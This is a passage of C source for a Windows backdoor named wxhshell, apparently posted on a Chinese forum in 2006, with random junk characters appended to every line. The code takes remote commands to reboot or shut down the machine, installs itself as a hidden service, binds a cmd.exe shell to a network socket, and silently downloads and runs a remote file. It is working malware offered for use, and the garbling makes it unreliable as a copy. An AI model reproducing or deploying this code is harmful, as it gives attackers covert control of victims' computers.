  case '?': { -?!|W-}@G=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "L1cHP~d  
    break; ]3 YJE P  
  } SGZOfTcY  
  // 安装 F_/]9tz?;  
  case 'i': { _K )B  
    if(Install()) zawU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RU,f|hB 4  
    else mk~i (Ee  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K%Mm'$fTw  
    break; WiH%URFB  
    } m( C7Fa  
  // 卸载 ({yuwH?tH  
  case 'r': { Cmm"K[>Rx  
    if(Uninstall()) d;Z<")  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >T%Jlj3ZG  
    else KM g`O3_16  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =%znY`0b56  
    break; TgSU}Mf)a  
    } X1]&j2WR  
  // 显示 wxhshell 所在路径 W'E!5T^  
  case 'p': { =5b5d   
    char svExeFile[MAX_PATH]; [z]@ <99/  
    strcpy(svExeFile,"\n\r"); p/:)Z_  
      strcat(svExeFile,ExeFile); D'YF [l  
        send(wsh,svExeFile,strlen(svExeFile),0); i6-q%%]6  
    break; "FT5]h  
    } =   
  // 重启 YPDc /  
  case 'b': { 6TbDno/!'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); F@kOj*5,[  
    if(Boot(REBOOT)) fGcAkEstT!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d@b0z$<s  
    else { tE]g*]o  
    closesocket(wsh); Cnd*%CPZ  
    ExitThread(0); Z@nM\/vLA  
    } brb8C%j}9  
    break; jZ7/p^c5R  
    } #E2`KGCzW  
  // 关机 bS3qX{5  
  case 'd': { c,Zs. kC  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "6~pTHT  
    if(Boot(SHUTDOWN)) e!l!T@ pf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n>Y3hY  
    else { RsIEY5Q  
    closesocket(wsh); Q nDymVF  
    ExitThread(0); q =b.!AZy  
    } !aeL*`;  
    break; ;wbQTp2  
    } I.fV_ H^  
  // 获取shell ibl^A=  
  case 's': { RecA?-0  
    CmdShell(wsh); O4@Ki4f3A%  
    closesocket(wsh); - DlKFN  
    ExitThread(0); NS#qein~i  
    break; oIt.Pc~;'#  
  } Ig'Y]%Z0  
  // 退出 K)]7e?:Wu  
  case 'x': { FZ #ngrT  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); WVftLIJ  
    CloseIt(wsh); ndOPD]A'  
    break; U_ V0  
    } 7 ZET@  
  // 离开 "monuErg&  
  case 'q': { <.HHV91  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); kN`[Q$B  
    closesocket(wsh); ^v}Z5,aN  
    WSACleanup(); j$Vv'on  
    exit(1); C0jmjZ%w@  
    break; -fj;9('YJ  
        } CJJ 1aM  
  } @ ~ N:F~  
  } 4(R O1VWsb  
J@oGAa%3)  
  // 提示信息 //JF$o=)D  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fg8V6FS  
} *wwLhweQ5W  
  } 9HLn_|yU  
-vGyEd7  
  return; +AZ=nMgW  
} ,M>W)TSH  
1#^[{XlAx  
// shell模块句柄 Qf414 oW  
int CmdShell(SOCKET sock) Nn ?BD4i  
{ o2 W pi  
STARTUPINFO si; k)[}3oq  
ZeroMemory(&si,sizeof(si)); NSOWn]E  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KA`1IW;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dY~3 YD[  
PROCESS_INFORMATION ProcessInfo; UX41/# 4  
char cmdline[]="cmd"; .Y&_k  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7WiVor$g-  
  return 0; ~1S7\e7{  
} itm;,Sbg  
l'W?X '  
// 自身启动模式 *na7/ysT<  
int StartFromService(void) mppBc-#EYr  
{ Ufv{6"sH  
typedef struct ";`ddN3  
{ {uM0J$P:  
  DWORD ExitStatus; ^Xt9AM]e  
  DWORD PebBaseAddress; !.+iA=K{  
  DWORD AffinityMask; !#rZ eDmw  
  DWORD BasePriority; ~`#.ZMO  
  ULONG UniqueProcessId; D ,mFme  
  ULONG InheritedFromUniqueProcessId; H$Q$3Q!`  
}   PROCESS_BASIC_INFORMATION; Y5-X)f  
'an{<82i  
PROCNTQSIP NtQueryInformationProcess; b/"gkFe#  
<s9Sx>Zb  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W$EX6jTGI  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; K *{C:Y  
3_fLaf A  
  HANDLE             hProcess; g"2@E  
  PROCESS_BASIC_INFORMATION pbi; *Sz`=U7n  
<!y_L5S|   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [_|i W%<`  
  if(NULL == hInst ) return 0; -gu)d5b  
KFA B  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,T|iA/c  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *gMuo6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Y;e@ `.(  
4-E9a_  
  if (!NtQueryInformationProcess) return 0; a gBKp!  
sG}}a}U1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2a5yJeaIv*  
  if(!hProcess) return 0; *W(b=u  
-3wg9uZ &  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; SQvicZAN)`  
 *X*D, VY  
  CloseHandle(hProcess); +P~zn=  
To}L%)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); klT6?'S  
if(hProcess==NULL) return 0; PgB=<#9  
5G(y  
HMODULE hMod; MG8-1M  
char procName[255]; bkmX@+Pe  
unsigned long cbNeeded; @`%.\_  
#@2`^1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }=?r`J+Ev;  
/J/r62  
  CloseHandle(hProcess); HZ[&ZNTa  
twf;{lZ(  
if(strstr(procName,"services")) return 1; // 以服务启动 \Vm{5[:SA  
xdYjl.f  
  return 0; // 注册表启动 QdUl-(  
} M[<O]p6  
t^8#~o!%  
// 主模块 hh+GW*'~  
int StartWxhshell(LPSTR lpCmdLine) ~>>o'H6  
{ tI.(+-q  
  SOCKET wsl; GS8,mQ8l*l  
BOOL val=TRUE; bCd! ap+#  
  int port=0; Qyt6+xL  
  struct sockaddr_in door;  P/nXY  
Sl:\5]'yJ  
  if(wscfg.ws_autoins) Install(); - /#3U{O  
b'3#FI=:  
port=atoi(lpCmdLine); qbqJ1^!6R  
8 Sl[&  
if(port<=0) port=wscfg.ws_port; 0<nKB}9  
YX^{lD1Jj  
  WSADATA data; (C6Y*Zm\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; xS,):R  
d@C ;rzR  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ZJy D/9y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); dH?pQ   
  door.sin_family = AF_INET; uBl&|yvxB  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); b.YQN'  
  door.sin_port = htons(port); k^R>xV  
ot_jG)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { kZUuRB~om  
closesocket(wsl); @VxBURZ?  
return 1; DgClN:Hw  
} HeSnj-mtr}  
7T4rx53  
  if(listen(wsl,2) == INVALID_SOCKET) { i;/qJKr&#  
closesocket(wsl); /%)M lG  
return 1; XKks j!'B  
} *aG0p&n}  
  Wxhshell(wsl); EnwiE  
  WSACleanup(); 8Yb/ c*  
(e F5?I  
return 0; ^,U&v;   
%}'sFu m`  
} QfcW  
gMHH3^\VH)  
// 以NT服务方式启动 3vrQY9H>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) tG%R_$*  
{ ~Ja>x`5  
DWORD   status = 0; jVfC4M7 ,  
  DWORD   specificError = 0xfffffff; YI%S)$  
uA}asm  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ZJR{c5TE  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "_H&p  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; m1daOeZ]P  
  serviceStatus.dwWin32ExitCode     = 0; N|[a<ut<  
  serviceStatus.dwServiceSpecificExitCode = 0; v]!|\]  
  serviceStatus.dwCheckPoint       = 0; 2cy{d|c  
  serviceStatus.dwWaitHint       = 0; v7&$(HJ>]L  
?KS9Dh  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *}[@*  
  if (hServiceStatusHandle==0) return; zQ)[re)  
{K[+nX =#  
status = GetLastError(); 8d Ftp3(  
  if (status!=NO_ERROR) 2{U4wTu  
{ Ln`c DZSM  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^.-P]I]  
    serviceStatus.dwCheckPoint       = 0; foL`{fA  
    serviceStatus.dwWaitHint       = 0; AiO,zjM=  
    serviceStatus.dwWin32ExitCode     = status; [oKB1GkA  
    serviceStatus.dwServiceSpecificExitCode = specificError; tH W"eag  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); YI\^hP#  
    return; aQRZyE}  
  } )'fIrBT  
4~o\Os+8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; YVs{\1|'  
  serviceStatus.dwCheckPoint       = 0; aP"i_!\.aa  
  serviceStatus.dwWaitHint       = 0; q07rWPM "e  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L` Qiu@  
} '}!dRpx  
vW]BOzK  
// 处理NT服务事件,比如:启动、停止 ipU"|{NK  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }bB_[+YV`{  
{ }>tUkXlhJ<  
switch(fdwControl) $1?YVA7  
{ rH-_L&  
case SERVICE_CONTROL_STOP: 8eLNKgc  
  serviceStatus.dwWin32ExitCode = 0; ):.]4n{L  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Jwa2Y0  
  serviceStatus.dwCheckPoint   = 0; g$]9xn#_[  
  serviceStatus.dwWaitHint     = 0; VF[]E0=u6  
  { !PQ@"L)p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nY~CAo/:  
  } DtZkrj)D/  
  return; pD &\Z~5T  
case SERVICE_CONTROL_PAUSE: Ue l*:c  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; W6\s@)b;  
  break; +'lfW{E1t  
case SERVICE_CONTROL_CONTINUE: hwC3['  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~L}0) FZ\9  
  break; fx_7B (  
case SERVICE_CONTROL_INTERROGATE: VBd.5YW  
  break; ?[T&y ,ln  
}; Z~]17{x0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zL7+HY* 3o  
} nR ,j1IUF  
^KlMBKWyB  
// 标准应用程序主函数  =v8#@$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) nE/T)[1|  
{ t`Hwq   
E%40u.0  
// 获取操作系统版本 {v2Q7ZO-  
OsIsNt=GetOsVer(); sRYFu%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =o5hD,>e  
l(<o,Uv[`  
  // 从命令行安装 UY|nB hL  
  if(strpbrk(lpCmdLine,"iI")) Install(); dc:|)bK M  
8{h:z 9]J  
  // 下载执行文件 ]54V9l:  
if(wscfg.ws_downexe) { -4V1s;QUZ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _A%z^&k(i  
  WinExec(wscfg.ws_filenam,SW_HIDE); %q:V  
} |yqx ]  
O(!wDnhc  
if(!OsIsNt) { Os[^ch  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;=_KLG <  
HideProc(); *8MU,6  
StartWxhshell(lpCmdLine); M6g!bK2l  
} N4$0ptz#}G  
else Z!hDTT  
  if(StartFromService()) ;AHa|35\  
  // 以服务方式启动 H!s &]b  
  StartServiceCtrlDispatcher(DispatchTable); 1Z*-@%RX  
else OcIJT1  
  // 普通方式启动 ~+4OG 0  
  StartWxhshell(lpCmdLine); r5rK>  
}_Jai4O  
return 0; Ig S.U  
}
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只看该作者 1 发表于: 2006-10-10
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